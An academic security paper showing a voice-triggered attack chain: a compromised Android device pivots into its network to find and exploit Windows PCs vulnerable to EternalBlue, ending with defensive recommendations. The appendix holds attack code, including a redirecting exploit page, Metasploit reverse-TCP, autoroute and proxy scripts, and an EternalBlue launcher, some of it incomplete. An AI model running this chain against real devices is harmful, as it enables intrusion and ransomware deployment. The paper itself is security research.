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PCs
Abstract
This paper presents a voice hacking proof of concept that demonstrates the ability to deploy a sequence of
hacks, triggered by speaking a smartphone command, to launch ransomware and other destructive attacks
against vulnerable Windows computers on any wireless network the phone connects to after the voice
command is issued. Specifically, a spoken, broadcast, or pre-recorded voice command directs vulnerable
Android smartphones or tablets to a malicious download page that compromises the Android device and uses
it as a proxy to run software designed to scan the Android device’s local area network for Windows computers
vulnerable to the EternalBlue exploit, spreading a ransomware-like application to those PCs, and executing it
remotely. The demonstrated proof of concept, with relevant source code included in the appendix, can be
extended and adapted to allow other voice-enabled, mobile, and IoT devices to perform multi-platform
attacks against traditional PCs, as well as other mobile and IoT devices, and even critical infrastructure
systems. In addition to describing the proof-of-concept attack in detail, the authors propose several remedies
individuals and organizations can employ to prevent such attacks.
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INTRODUCTION 
Apple’s Siri, Google Home and Assistant, Amazon’s Alexa, smart appliances 
and cars, and Microsoft’s Cortana have quietly transformed the home, the work-
place, and even the drive home, to always-on, always-listening environments. In 
this paper, we present a working proof of concept that can use voice commands on 
Android smart phones as an attack vector to hijack a user’s Android device and use 
it to scan for and exploit vulnerable Windows PC’s on any wireless network the 
phone may touch. These techniques could be extended to other voice-enabled 
devices and platforms to compromise desktop computers, servers, or even critical 
infrastructure control systems. 
The authors have created a multi-step “kill chain” activated either by a voice 
command or hyperlink to exploit vulnerable Android devices, turning them into 
scanners searching for a particular Windows vulnerability, specifically, 
EternalBlue, on any laptop, desktop, or workstation attached to the same network 
as the Android mobile device. Finally, the Android device is used as a proxy to 
maintain a connection between discovered PCs and the malware server(s), which 
can exploit the EternalBlue SMB vulnerability and remotely deploy ransomware or 
other arbitrary executable code on victim PCs. The cross-platform nature of this 
attack, combined with the portability of the mobile device into multiple networks 
make this proof of concept particularly unsettling. 
The recent release of the EternalBlue Windows SMB (Server Message Block) 
network file-sharing exploit, recognized as vulnerability MS17-010, made 
international headlines in the first half of 2017, eclipsed only by the headlines that 
followed of WannaCry, Petya and NotPetya ransomware that used the vulnerability 
to spread around the globe (Fox-Brewster, 2017). At its apex, the WannaCry 
outbreak may have compromised as many as 400,000 computers in 150 countries 
(Crowe, 2017). The fact that the vulnerability allows malware to spread using 
network file-sharing vulnerabilities without user interaction or notification made 
EternalBlue the exploit of choice for the research in this work.  
With more than 2 billion active Android phones worldwide (Rossignol, 2017), 
and as many as 9 out of 10 new phone activations coming from Android devices 
(Kharpal, 2016), using Android mobile phones and tablets to spread malware 
among desktop and laptop PCs would seem to be fertile ground. However, few 
known attacks have successfully exploited the link between mobile devices and 
traditional computers, until now. Further, the rapid proliferation of voice-enabled 
services and devices are opening new avenues of attack, introducing the possibility 
for malware downloaded by voice request or triggered by voice command in 
devices from mobile phones to cars to smart speakers to TVs to thermostats.  
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In addition to describing the voice hacking proof-of-concept attack in detail, the 
authors propose several remedies individuals and organizations can use to prevent 
such attacks. For individuals, restricting or disabling voice services and maintaining 
up-to-date security patches for both their mobile devices and desktop/laptop 
computers is a first line of defense. For organizations, a layered approach to 
security, including proper network and data segmentation, applying security 
updates for company-owned devices and requiring updates for any personal devices 
before allowing them to connect to company networks, and actively monitoring 
suspicious traffic or behavior from connected mobile and IoT devices are keys to 
preventing the types of attacks described in this work. 
2. BACKGROUND  
Voice-activated computer interaction is becoming ubiquitous in the sense that it 
is integrated into our day-to-day lives, including our vehicles, health trackers, 
smartphones, home entertainment systems, and much more (Choe and Kim, 2017; 
Pearl, 2016; North, Norris, and Chu, 2017; Rawassizadeh et. al, 2017).  It is now 
possible to interact with smart home devices such as thermostats, TVs, and even 
washing machines merely by using voice commands. In addition, voice-enabled 
systems have shown promise as a way to ease daily living for people with 
disabilities (Malavasi et. al, 2016; Mangurian and Linos 2016).  
However, virtually none of the currently available voice-enabled devices are 
intelligent enough to distinguish voices of particular users. The devices can accept 
a computer-generated voice (synthesized voice), a pre-recorded voice, or voice of 
any age group including children. In other words, the devices could respond to an 
attacker’s voice and execute the commands as they would the owner’s. By default, 
most voice-enabled devices are always turned on, waiting for voice commands to 
execute. Although the voice interfaces are helpful to ease some of the challenges in 
day-to-day life, they can lead to serious consequences with respect to security.  
Recently, security researchers indicated that voice-activated smartphones could 
be a significant security risk to the public (Wangerin, 2017; Flint, 2017; Hill, 2014). 
Threats include data breach, privilege escalation, social engineering attacks, and 
web & network based attacks such as denial of service (DoS) and distributed denial 
of services (DDoS).  It is also reported that the most common vulnerability of voice-
enabled devices is their default wake-up commands (Wangerin, 2017; Flint 2017). 
For instance, Yuval Ben-Itzha, a chief security researcher at AVG created chaos by 
sending a  bogus message using an Android smart phone to the people in the contact 
list that a company was going out of business (BBC, 2014). In a related report, 
security researchers were able to trick Siri to bypass the iPhone lock screen to 
perform a wide variety of commands, including sending text messages and surfing 
to web sites (Hill, 2014).   
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Overall, the vulnerability of voice-enabled technologies is likely to continue to 
cause major concern. This research shows a proof of concept that makes use of 
voice hacking along with a combination of two Android vulnerabilities and one 
Windows vulnerability to successfully compromise traditional PCs using an 
Android mobile device for both reconnaissance, to identify victim PCs, and to 
deliver malware through the victim’s network.  
2.1 Android Security Exploits 
A majority of Android devices are vulnerable to malware attacks, with almost 
60% of active devices running more than two full versions behind the current 
release (Android.com, 2017). Further, some attacks make devices vulnerable 
regardless of age, version or security patch level. What’s worse, most of these 
attacks are easy for a user to install unwittingly. Sadly, a user doesn’t even need to 
download an unknown application from an unknown source to have a potential risk. 
According to Kaspersky Lab (Osborne, 2017), there are dozens of apps available 
today in the Google Play Store that either contain malware or connect directly to 
malware servers. One such piece of Android malware is found in applications 
running a specific Trojan called Ztorg, which is specifically designed to “root” the 
device, making it possible for the malware to gain system-level access and initiate 
premium rate calls and messaging without the user noticing.  
While these backdoor attacks are possible, it is becoming more difficult to 
execute them without some level of user interaction. When installing an application, 
either from the official Google Play Store or from a third-party provider, a user 
must usually accept the installation to proceed. If an app is untrusted, extra steps 
may be required, such as enabling unsigned apps to be installed and agreeing to 
various warning messages.  
However, there are still other approaches that do not involve downloading or 
running an application. An estimated 850 million Android devices are still at risk 
of a media-based hijack known as Stagefright, and researchers cite the fragmented 
nature of both the Android operating system and hardware platforms from the vast 
variety of Android device manufacturers as hindrances in protecting against these 
attacks (Palmer, 2016).  
Further, a user can become infected just by visiting a malicious web page on a 
mobile browser. Mobile browsers are often not kept as up-to-date as browsers on 
traditional desktop and laptop PCs (Yuan et al., 2016). Typical exploits may vary 
from malicious JavaScript on an HTML webpage to an infected application, PDF, 
or video file. Even if a user has updated their favorite browser, these vulnerabilities 
may continue to affect unpatched or outdated applications that use the common 
WebView component to deliver dynamic content within the app.  
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Unfortunately, the user usually doesn’t receive any indication that these attacks 
are happening, and it is virtually impossible to detect the attacks while in progress. 
When the user connects to the infected page, the server simply loads a script that 
attempts to execute and upload a malicious payload, creating a backdoor to the 
victim’s device from the attacker’s computer.  
Android devices that are running later versions of Android (version 6.0 or 
newer) can thwart such WebView attacks. However, as of July 2017, almost 60 
percent of active Android devices are running versions older than Android 6.0, and 
may therefore be prone to WebView and web browser exploits (Android, 2017).  
Add to this range of vulnerable devices the possibility of using Google Assistant 
voice commands that are available for Android version 5.0 (Lollipop) devices and 
newer, and it is conceivably possible to compromise over 30% of the 2 billion active 
Android devices simply by speaking a command, like “OK, Google, open the web 
page pleasehackme.com/virus.php” within hearing distance of anyone’s Android 
phone or tablet.  
Unfortunately, it has also been shown that a more innocuous-sounding 
command, like “OK, Google, open the page myfunsite.com/game”, could be 
recorded in a popular YouTube video or other media file and played within earshot 
of an Android device, or even broadcast via television or radio, or shouted in a 
crowded theater (Payne, Parker, and Mienie, 2017), infecting dozens, hundreds, or 
thousands of unwary users with malware. One set of researchers even obfuscated 
voice commands with a combination of voice distortion and background noise to 
make them unintelligible to human listeners but recognizable to Google Assistant 
(Carlini et al., 2016), opening web pages and performing other voice commands 
without the consent or possibly even the awareness of the user. 
To demonstrate this additional attack vector, the authors selected a voice-
enabled attack on Android 5.0 and 5.1 devices, loading a malicious web page from 
a server maintained by the researchers on a secure network. Removing the 
restriction of the voice-enabled features on this particular attack raises the number 
of vulnerable machines from roughly 30% to over 50% of active Android devices, 
with those running Android versions prior to 5.0 still able to access the malware 
directly through the web link, perhaps spread via phishing emails or other 
traditional web dissemination means.  
2.2 Windows Security and the EternalBlue Exploit 
For this proof of concept, the authors selected the EternalBlue exploit as the 
vector of attack from the Android mobile device to compromise Windows 
workstations on a local area network. According to NetMarketShare, Windows 
operating systems account for more than 91% of desktop installations worldwide 
(NetMarketShare, 2017). In addition, the majority of exploits in Metasploit target 
Microsoft Windows platforms.  
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While the EternalBlue SMB vulnerability was limited to SMB version 1 
(SMBv1), and security updates released in March 2017 patched the vulnerability 
for licensed Windows users who have installed the updates, the authors selected 
this particular vulnerability because of the covert nature of the exploit. Specifically, 
it is possible to scan for the vulnerability using a specially crafted network packet, 
which we felt confident we could send from the Android device, and, it was 
possible to execute the compromise without any intervention or awareness on the 
part of the Windows user.  
In addition, this attack was selected because of the number of similar 
vulnerabilities discovered in the Windows SMB file sharing mechanism. In fact, 
just prior to this writing, at DEF CON 2017, a new, zero-day SMB flaw was 
reported, dubbed SMBLoris, that affects all versions of Windows SMB, not just 
version 1 like EternalBlue (Chirgwin, 2017). Furthermore, Microsoft stated that 
they did not intend to issue a security fix for the problem in the foreseeable future, 
as they characterized the threat as a “moderate issue”—despite the claim that “a 
Raspberry Pi could take down the beefiest server” (Chirgwin, 2017).  
The EternalBlue exploit selected for this work requires a specific protocol in 
Windows to be available, the SMB (Server Message Block) protocol which enables 
the user to share files, printers, or other applications on a local area network. The 
network port that is used for this communication is typically port 445 for Microsoft 
SMB. When a user wants to communicate to a shared folder, they will need to use 
the IP or domain name of that device and a client’s application to communicate. 
For Windows users, the IPC$ network share folder can be scanned to detect 
vulnerable devices that allow unauthenticated access to the remote PC. In our 
implementation, this scanning on port 445 will take place from the Android device 
to all computers on the same network.  
 
3. IMPLEMENTATION 
The back-end design of the attack developed in this research consists of a pair 
of scripts, one written in Python and one in Ruby. The Python script, run.py, is a 
modified Metasploit module that scans for vulnerable Windows PCs, and the Ruby 
script, scanwin.rb, determines the starting IP address of the victim Android device’s 
internal network to enable the scan. The pair of scripts form the back end of the 
exploit, and are placed together in a single folder and zipped for easy transport. 
These scripts will run from an attack server, using a compromised Android device 
as a proxy into any local area network the Android device connects to.  
For the attack server, the following requirements are all that need to be met: Kali 
Linux with updated Metasploit, Meterpreter (part of Metasploit), apache2, 
Proxychain, and Python 2.7. All components must be in place and properly updated 
for the exploit to be carried out correctly.  
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With the back-end successfully in place, the front-end design includes an 
“/attack.html” and two other attacking pages for the two Android WebView 
exploits, available pre-made from the Metasploit exploit modules. 
 
 
3.1 Attacking Android Devices 
 
The first objective in the attack chain is to gain access to a vulnerable Android 
phone, tablet or other device and create a tunnel between the mobile device and the 
attack server. To exploit effectively, the recommended options was to use only 
exploits that didn’t require for the victim to install an application. The best approach 
is to use WebView exploits that require the victim to enter or click on an infected 
webpage that holds exploits that attack the browser application they are running. 
There are two attacks that are still in relatively widespread use: the 
“Addjavainterface” method exploit and the “Stagefright” exploit, both of which are 
available in the Metasploit framework community edition open-source security 
testing software (Rapid7, 2009).  
 
Figure 1: Attack sequence from the Android Meterpreter’s perspective 
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In the image shown in Figure 1, the attack chain begins when the victim speaks, 
inputs or clicks a link to the malware site. If Google Assistant or other voice 
recognition software is available on the device, the attacker can command the phone 
to browse to the link by saying, or by tricking the user into playing a pre-recorded 
message stating, “Okay Google, open the page servername.com/attack.html”. 
When the page is accessed, the JavaScript implanted on the page will capture the 
device type and version. If the device type is Android and is running a version 
earlier than 4.2, the script will redirect the browser to “/test1:8081”, where “test1” 
is the folder where the version of the attack for older Android devices is stored, and 
“8081” will become the network port for the attack. If the Android device is running 
versions 5.0 to 5.1, known as Lollipop, the browser or WebView will be redirected 
to “/test2:8082”, similarly staged for the Lollipop version of the attack. Anything 
else will stay on the main page and no further actions are needed, as newer Android 
versions are not susceptible to the particular Android attack used in this proof of 
concept.  
Once a vulnerable device is redirected to the appropriate page, Metasploit will 
attempt to compromise the device by uploading a reverse TCP payload and execute 
it, thereby injecting a Meterpreter shell onto the Android victim/host. If the exploit 
fails or has not received a response from the payload, then the attack remains on 
standby, waiting for the next victim. However, if the attack is successful, a session 
will be created and the remote Meterpreter shell will execute the autorun Python 
and Ruby scripts.  
 
3.2 Sniffing and Exploiting Vulnerable Windows Machines 
Once a Meterpreter session is available under reverse TCP from the 
compromised Android device, the autorun script will go through the processes to 
create a ‘foothold’, to route the traffic to attack the victim’s internal network via 
the Android device. The script will then create a proxy using the Metasploit socks4 
proxy module to allow other tools to be used outside Meterpreter.  
After completing, the autorun script executes a custom Ruby script to retrieve 
the starting IP address of the victim’s network and uses it to start running the SMB 
vulnerability scan. The scan is a modified version of the ms17_10 EternalBlue 
module, available in the Metasploit auxiliary modules. If the scan detects a 
Windows machine vulnerable to an EternalBlue attack, then the IP of that machine 
is captured and sent back to the Python script for exploitation. 
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The Ruby script scans through the list of IP address available in the subnet. If it 
receives information that the machine is online and port 445 is available, then it 
attempts to communicate to that port. If communication is accepted, the scan tool 
attempts to connect to the “IPC$” file that can be accessed anonymously without 
authentication on Windows machines prior to Windows 8. The IPC$ file is a hidden 
shared file in SMB that administers the communication services. The scan 
communicates with the potential victim computer and determines if the Windows 
device is vulnerable or not, continuing down the list of IP addresses in the victim 
Android device’s subnet. If no vulnerable machines are discovered, the program 
halts. 
 
Figure 2: Attack sequence from the Android Meterpreter shell’s perspective 
As shown in Figure 2, if the scan detects a vulnerable candidate, it will continue 
to leverage the proxy of the session that is linked to the mobile device, opening a 
second Metasploit exploit to execute the EternalBlue attack. The exploit will 
attempt to attack the SMB remote Windows Kernel Pool. The attack consists of a 
buffer overflow on the Kernel Pool that attacks the srvnet.sys file. This attack can 
cause a kernel fault (suspending or “blue-screening” the victim Windows 
computer) if the pool grooming count is too high. But, if the attack succeeds, a 
reverse TCP Meterpreter shell will be created on the Windows victim device with 
system-level privileges. This system-level root access on the Windows workstation 
or server gives the attacker full administrative control over the victim machine, 
including the ability to download files, capture screenshots from the victim device, 
upload and execute files, and even shut down the device remotely.  
4. PROOF OF CONCEPT EXECUTION AND RESULTS 
Figure 3 shows the experimental setup for the proof-of-concept attack, with a 
firewall separating the attack server from the Internet, and another firewall 
separating the victim Android device and vulnerable Windows machine, located 
together on a shared network. The physical implementation consisted of two 
wireless routers with built-in firewalls. The victim's firewall is set to default, always 
allowing outward-bound traffic, but not inward-bound traffic. The attack server’s 
firewall is implemented similarly, but with port forwarding enabled to allow part 
of the exploit to be reached by the victim’s device.   
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Figure 3: Architecture of a sustainable mobile-to-desktop attack chain 
 
The attack server is running the Python program as well as the needed tools in 
Kali Linux listed in section 2. The victim's side includes a Nabi Android tablet 
running Android Jellybean version 4.1.1. The browser being used for this attack 
was the Maxthon browser, since the default browser had been patched. This 
browser will demonstrate that, for the “addJavaInterface” exploit, any Android 
browser prior to version 4.2 that is not being patched is exploitable.  The Windows 
victim machine is running Windows 7 Pro build 7600 with an up-to-date antivirus 
application installed, and file sharing enabled.  
In the first version of the proof of concept, a link to the attack server was sent 
via email, as the victim Android device did not have Google Assistant due to the 
Jellybean 4.1.1 version level, but a newer Android device in the version 5.0 to 5.1 
Lollipop range would enable the targeted user to speak or replay a recorded 
message (perhaps in a YouTube video) directing the device to open the web page 
containing the front-end attack.  
When received and clicked, the link opens on the default browser that the victim 
has set up, namely the Maxthon browser version 2.4.6. Once the link is opened, the 
browser is sent to the attack server, which in turn sends the HTML file to the user 
containing the JavaScript query code. Once received, the JavaScript checks if the 
device is an Android device and determines the version, as detailed in section 3.1. 
If the conditions are met, the script redirects the browser to the exploit webpage 
without the user ever knowing. At first, the user might see that a page is loading, 
but there will be no information being displayed, only a blank page. Regardless of 
whether the attack succeeded or failed, the page will be blank, giving the user no 
sign of attack or threat. One the Android exploit succeeds, however, Metasploit will 
send the reverse TCP payload, receive the reverse TCP communication and set up 
the second stage, injecting the remote Meterpreter shell on the Android device.  
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While the server is setting up the remote shell, the tablet will not show any signs 
of processor fluctuation, heating, or performance. However, the Internet connection 
may slow down perceptibly on the tablet, due to the communications overhead 
involved in the attack. Once compromised, the Android device divulges to the 
attack server the IP address range of the subnet the Android tablet is connected to 
over Wi-Fi or, in the case of an Android TV or other connected device, even over 
a wired network connection.  
The attack server launches the script to begin scanning the IP addresses on the 
victim Android device’s network, and finds our vulnerable Windows 7 Pro laptop. 
The scan took less than 10 seconds, as the IP address of the Windows computer set 
by the router’s DHCP server was within 3 addresses from the starting IP of 
192.168.1.0. As soon as the attack server gets the Windows machine’s IP address 
(192.168.1.3 in our setup), the final EternalBlue exploit is set and executed. Within 
approximately 30 seconds, the Windows device has been exploited and can be 
directly communicated with from the server, without the use of the Android device.  
As shown in Figures 4(a) and 4(b), a shell session has been created and the 
automated set of scripts for the session was executed. A message, using the 
command “msg *” was sent to let the user know that they have been successfully 
compromised. Once completed, the program halts, but leaves the Windows shell 
session available for any further attacks, including ransomware, fake ransomware, 
or other destructive acts.  
 
Figure 4(a): The Window 7 Pro computer is successfully compromised.  
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Figure 4(b): Metasploit on the Kali attack server shows the Meterpreter shell 
session running from the Windows 7 computer, with system-level privileges. 
 
This proof of concept demonstrates that more complex attack chains involving 
mobile devices like smartphones and tablets, and even IoT devices, can 
compromise traditional computer workstations and servers on networks the 
infected mobile devices can travel to, even when those networks are protected by 
firewalls correctly configured to reject inward-bound traffic. The common reverse 
TCP family of exploits, with the Meterpreter shell injected, easily bypassed 
firewalls and enabled a simple, but potentially devastating attack.  
The source code of the main author-developed scripts, run.py, scan.rb, and 
scanwin.rb, are attached to this manuscript as the Appendix. The other scripts used 
and modified in the kill chain are available in Metasploit (Rapid7, 2009). 
5. CONCLUSIONS AND FUTURE WORK  
In this work, the authors have demonstrated that a vulnerability in a mobile 
device can be exploited using either voice commands or traditional web-based 
attacks and used as a pivot point in a more complex attack chain, wreaking havoc 
not only on the mobile device itself, but on other computers on networks the mobile 
device may connect to after it is compromised. This includes both traditional 
computers and other systems that differ both in hardware architecture and in 
operating system—note that this could conceivably include industrial control 
systems (ICS) or other critical infrastructure systems.  
By modifying three existing exploits and a pair of existing scripts provided in 
the Metasploit framework, we were able to create an attack chain that could allow 
a voice command on Android 5.0 or 5.1 devices, which constitute over 27% of 
active devices as of this writing (Android.com, 2017), or a clicked hyperlink on 
earlier Android devices (another 22% of active devices), to open a web site staged 
on the attack server by the authors to compromise the Android device, pivot to the 
local area network via Wi-Fi or other connection, scan for vulnerable Windows 
PCs, and execute the final objective of executing arbitrary code on traditional 
desktops and laptops remotely, including ransomware and other destructive attacks.  
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Fortunately, this particular kill chain could have been broken at either stage by 
updating one or both of the Android mobile device and the Windows workstation. 
However, as a growing number of the more than 2 billion Android devices fail to 
be updated, or lose patch support due to age, we envision the threat coming from 
mobile and IoT devices, both Android and other OS versions, taking a more central 
role in future attacks. The fact that mobile devices can go where other infected 
computers usually cannot, including inside otherwise heavily fortified private 
LANs thanks to the era of BYOD (bring-your-own device), makes this attack vector 
especially attractive to focused, coordinated attacks or even advanced persistent 
threats.  
Further, the proof-of-concept attack described in this work could be extended to 
other voice-enabled, mobile, and IoT devices in the multi-platform manner 
demonstrated by the authors. The Meterpreter reverse_tcp shell used in this attack 
is already available for PC, Mac and Linux computers, all common mobile phone 
platforms including iOS, Android and Windows, as well as the multitude of IoT 
and smart home devices running Android and Linux operating systems. According 
to the Eclipse IoT Developer Survey (Skerrett, 2017), 81% percent of IoT 
developers reported using some version Linux OS in their IoT devices, making this 
a target-rich environment for malicious hackers.  
To guard against complex attacks of this nature, it is not sufficient just to update 
systems, as newer zero-day exploits are discovered at an alarming pace. Rather, end 
users and organizations must take a layered approach to securing their networks 
and systems. First and foremost, managers should consider the enterprise security 
and suitability of voice-enabled, mobile, and IoT platforms before adopting the 
devices in the workplace, and individuals can do similarly before introducing such 
devices at home.  
Limiting or disabling voice services on the mobile device should be a 
consideration for individuals seeking to minimize such attacks. Next, organizations 
must maintain security patches for all systems and devices, and require patches or 
updates for devices that connect to shared networks. Further, they must sufficiently 
segment networks to separate BYOD-friendly networks like Wi-Fi from corporate 
or other internal networks and systems, encrypt sensitive data within those 
networks and systems, and monitor suspicious activity using intrusion 
detection/prevention systems (IDS/IPS) or similar network security monitoring, 
preferably featuring deep packet inspection. Requiring patches, appropriately 
segmenting devices and networks, and actively monitoring suspicious behavior or 
network traffic should extend both to mobile devices and to IoT devices, as more 
attacks across IoT devices are to be expected as the number and variety of Internet 
of Things devices continues to grow.  
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In short, a thoughtfully-applied defense-in-depth approach, implemented by 
skilled cybersecurity, risk management, and IT personnel can sufficiently protect 
organizations against complex, mobile-borne and even voice-enabled attacks like 
the proof of concept demonstrated in this work, but even individuals and smaller 
enterprises can significantly limit their exposure to such risks by following the 
recommendations provided in this work. An awareness of the existence of such 
threats is a first step toward taking greater precautions against voice-enabled, 
mobile and IoT device-based attacks, and the proof of concept detailed in this paper 
provides the reader with a practical example of the kinds of attacks that are already 
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APPENDIX 
Source Code for run.py exploit file 
# Author: Leonardo Mazuran 
# Kali-based Android to PC attack v1.3 
 







from shutil import copyfile 
import thread 
from threading import Thread 
 
def get_ip_private(): 
    try: 
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
        s.connect(("google.com", 80)) 
        return (s.getsockname()[0]) 
    except: 
        print ("Unable to retrieve local ip address") 
        exit(1) 
 
def get_ip_public(): 
    try: 
        return (urllib2.urlopen('http://ip.42.pl/raw').read()) 
    except: 
        print("Unable to get public ip address") 




This modified method launches Apache and creates a webpage for users to get 
infected. The JavaScript detects which version of Android is on a mobile device. 
If less than 4.2 then redirect to ip:8081/test1 to get exploited for the webview 
exploit. If 5 to 5.1 then redirect to ip:8082/test2 for the stagefright exploit. 
If none applies, then do nothing. 
=end 
    try: 
        print("launching apache server") 
    subprocess.check_call(['service','apache2', 'stop'], stdout=subprocess.PIPE) 
        subprocess.check_call(['service','apache2', 'start'], 
stdout=subprocess.PIPE) 
    except subprocess.CalledProcessError: 
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     print("Apache2 did not execute") 
     exit(1) 
    try: 
        print("Writing attack.html to html folder") 
        f=open("/var/www/html/attack.html","w") 
        f.write("<html><title>Attack page</title><script type='text/javascript'>   
var userAgent = navigator.userAgent.toLowerCase();"+ 
    "var check = userAgent.match(/android\s+(\d\.\d+)/) [1]; if (check < 
4.2){window.location.replace(\"http://"+get_ip_private()+":8081/test1\");}"+ 
   "if(check >=5.0 || check 
>=5.1){window.location.replace(\"http://"+get_ip_private()+":8082/test2 
\");}</script><body><center><h1> Nothing here</h1></center></body></html>") 
        f.close() 
    subprocess.check_call(['service','apache2', 'restart'], 
stdout=subprocess.PIPE) 
    except: 
        print("Failed to write to html folder") 
        exit(1) 
 
def create_autoscript(): 
    try: 
        print("Writing autoscript") 
        f = open("/root/Documents/attack.rc", "w") 
        f.write("use 
exploit/android/browser/webview_addjavascriptinterface\nset AutoRunScript 
multi_console_command -rc /root/Documents/metandroid.rc\nset srvport 
8081\nset uripath test1\nset lhost "+get_ip_private()+"\nset lport 4447\n"+ 
"exploit -j\nuse exploit/android/browser/stagefright_mp4_tx3g_64bit\nset 
srvport 8082\nset lport 4448\nset uripath test2\nexploit\necho set up 
complete! Link:http://"+get_ip_private()+"/attack.html\n"+ 
                "set AutoRunScript multi_console_command -rc 
/root/Documents/metandroid.rc") 
        f.close() 
 
    except: 
        print ("Unable to write autoscript") 
        exit(1) 
 
def create_meter_android(): 
    try: 
        print ("Creating meterpreter script for android") 
        f = open("/root/Documents/metandroid.rc", "w") 
 
        f.write("run post/multi/manage/autoroute\nrun 
auxiliary/server/socks4a srvport=1080 srvhost="+get_ip_private()+"\nrun 
/root/Documents/scanwin.rb") 
        f.close() 
    except: 
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        print ("Unable to create android script") 
        exit(1) 
def proxy(): 
    set = "socks4 "+get_ip_private()+" 1080" 
    f = open('/etc/proxychains.conf', 'a+') 
    f.write(set + "\n") 
    f.close() 
 
def adding_scan(): 
    try: 
        file1 = "/usr/share/metasploit-
framework/modules/auxiliary/scanner/smb/scan.rb" 
        file2 = "/root/Documents/scanwin.rb" 
        if os.path.isfile(file1): 
            print("scan.rb already installed!") 
        else: 
            print("installing scan.rb") 
            copyfile("scan.rb", file1) 
        if os.path.isfile(file2): 
            print("scanwin.rb already installed!") 
 
        else: 
            print("installing scanwin.rb") 
            copyfile("scanwin.rb", file2) 
    except: 
        print("Unable to input scan.rb/scanwin.rb to metasploit-
framework/Documents!") 
        exit(1) 
 
def run_metasploit(): 
    print ("loading metasploit with autoscript") 
    subprocess.call(['msfconsole', '-r', '/root/Documents/attack.rc']) 
 
def attack_windows(): 
    ipfile = "/root/Documents/attackip.txt" 
    while False: 
        if os.path.isfile(ipfile): 
            print("IP is available") 
            f = open(ipfile, 'r') 
            ip = f.readline() 
            os.remove(ipfile) 
            #proxy() 
            f.close() 
            f = open("/root/Documents/attack2.rc",'w')  
            f.write("\nuse exploit/windows/smb/ms17_010_eternalblue_mod\nset 
rhost "+ ip +"\nset GroomAllocations 12\nset GroomDelta 1\nset AutoRunScript 
/root/Documents/winauto.rb\nset MaxExploitAttempts 8\nset ProcessName 
explorer.exe\nrun") 
            f.close() 
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            subprocess.call(['gnome-terminal','-
e','proxychains','msfconsole', '-r', '/root/Documents/attack2.rc']) 
            #proxy() 
            break 
        else: 
            time.sleep(5) 
                 
def create_windows_shell_commands(): 
    try: 
        print ("Writing a autoscript for windows") 
        f = open("/root/Documents/winauto.rb" ,'w') 
        f.write("\nsession.run_cmd(\"whoami\")\nsession.run_cmd(\"msg * This 
computer is hacked!!!!\")") 
        f.close() 
    except: 
        print("Unable to write windows shell script!") 
        exit(1) 
 
def run_scanner(): 
     ipfile = "/root/Documents/subnetip.txt" 
     while False: 
        if os.path.isfile(ipfile): 
            print("subnet good") 
            f = open(ipfile, 'r') 
            ip = f.readline() 
            os.remove(ipfile) 
            f.close() 
            f = open("/root/Documents/scanner.rc",'w') 
            f.write("\nuse auxiliary/scanner/smb/scan\nset rhosts "+ ip 
+"/24\nrun") 
            f.close() 
            proxy() 
            subprocess.call(['proxychains','msfconsole', '-r', 
'/root/Documents/scanner.rc']) 
            break 
        else: 










Process(target = run_metasploit).start() 
time.sleep(10) 
Process(target = run_scanner).start() 
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Source Code for scanwin.rb exploit file 
Rex::Socket::SwitchBoard.each do |route| 
 print_good("#{route.subnet}") 
 print_status("Starting SMB Scan") 
 File.write('/root/Documents/subnetip.txt', route.subnet) 
end 
 
This script retrieves the private IP address of each local target device and saves it 
to a text file. The run.py python script looks for this file, reads it and deletes it. The 
IP addresses discovered will be used during the EternalBlue attack. 
 
Source Code snippet modified from scan.rb exploit file 
def run_host(ip) 
    begin 
      ipc_share = "\\\\#{ip}\\IPC$" 
 
      tree_id = do_smb_setup_tree(ipc_share) 
      vprint_status("Connected to #{ipc_share} with TID = #{tree_id}") 
 
      status = do_smb_ms17_010_probe(tree_id) 
      vprint_status("Received #{status} with FID = 0") 
 
      if status == "STATUS_INSUFF_SERVER_RESOURCES" 
         print_good("Host is likely VULNERABLE to MS17-010!  
(#{simple.client.peer_native_os})") 
         print_good("#{ip}") 
         File.write('/root/Documents/attackip.txt', ip) 
         Process.exit!(true) 
        
      elsif status == "STATUS_ACCESS_DENIED" or status == 
"STATUS_INVALID_HANDLE" 
         # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) 
         print_bad("Host does NOT appear vulnerable.") 
      else 
         print_bad("Unable to properly detect if host is vulnerable.") 
    end 
 
    rescue ::Interrupt 
      print_status("Exiting on interrupt.") 
      raise $! 
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    rescue ::Rex::Proto::SMB::Exceptions::LoginError 
      print_error("An SMB Login Error occurred while connecting to the IPC$ 
tree.") 
    rescue ::Exception => e 
      vprint_error("#{e.class}: #{e.message}") 
    ensure 
      disconnect 
    end 
  end 
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